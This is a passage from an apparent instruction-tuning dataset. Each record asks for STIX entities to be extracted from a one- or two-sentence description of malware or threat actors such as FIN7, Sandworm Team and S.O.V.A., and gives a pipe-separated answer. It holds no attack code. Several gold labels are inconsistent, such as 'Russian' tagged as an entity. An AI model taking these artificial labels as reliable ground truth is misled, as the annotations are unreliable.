type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWoody RAT is a remote access trojan (RAT) that has been used since at least August 2021 against Russian organizations.\n",
    "output": "<entities>Woody RAT|Russian</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPOWERSOURCE is a PowerShell backdoor.\n",
    "output": "<entities>POWERSOURCE|PowerShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHyperStack can connect to the IPC$ share on remote machines.\n",
    "output": "<entities>HyperStack</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGrimAgent has used Accept-Language to identify hosts in the United Kingdom, United States, France, and Spain.\n",
    "output": "<entities>GrimAgent|United Kingdom|United States|France|Spain|Accept-Language</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nJSS Loader is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by FIN7 since at least 2020.\n",
    "output": "<entities>JSS Loader|.NET|FIN7|C++</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGinp is an Android banking trojan that has been used to target Spanish banks. Some of the code was taken directly from Anubis.\n",
    "output": "<entities>Ginp|Android|Spanish|Anubis</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHavij is used to automate SQL injection.\n",
    "output": "<entities>Havij</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHenBox is Android malware that attempts to only execute on Xiaomi devices running the MIUI operating system. HenBox has primarily been used to target Uyghurs, a minority Turkic ethnic group.\n",
    "output": "<entities>HenBox|Xiaomi|Android|MIUI</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPenquin can execute the command code do_upload to send files to C2.\n",
    "output": "<entities>C2|Penquin</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n3PARA RAT has a command to set certain attributes such as creation/modification timestamps on files.\n",
    "output": "<entities>3PARA RAT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRainyDay can use tools to collect credentials from web browsers.\n",
    "output": "<entities>RainyDay</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCookieMiner has loaded coinmining software onto systems to mine for Koto cryptocurrency.\n",
    "output": "<entities>CookieMiner|Koto</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThis actor acts as an initial access facilitator for ransomware threat actors.  Proofpoint has observed its campaigns leveraging banking trojans have led to ransomware infections. Proofpoint assesses with high confidence TA551 IcedID implants were associated with Maze and Egregor ransomware events in 2020.\n",
    "output": "<entities>Proofpoint|TA551|Maze|Egregor|IcedID</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nS.O.V.A. is an Android banking trojan that was first identified in August 2021 and has subsequently been found in a variety of applications, including banking, cryptocurrency wallet/exchange, and shopping apps. S.O.V.A., which is Russian for \"owl\", contains features not commonly found in Android malware, such as session cookie theft.\n",
    "output": "<entities>S.O.V.A.|Android|Russian</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTrojan.Karagany can perform reconnaissance commands on a victim machine via a cmd.exe process.\n",
    "output": "<entities>Trojan.Karagany|cmd.exe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCyclops Blink is a modular malware that has been used in widespread campaigns by Sandworm Team since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.\n",
    "output": "<entities>Cyclops Blink|Sandworm Team|WatchGuard|Small/Home Office|Asus</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nmacOS.OSAMiner is a Monero mining trojan that was first observed in 2018; security researchers assessed macOS.OSAMiner may have been circulating since at least 2015. macOS.OSAMiner is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools.\n",
    "output": "<entities>Monero|macOS.OSAMiner|AppleScript|AEVT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPLEAD has the ability to list open windows on the compromised host.\n",
    "output": "<entities>PLEAD</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat 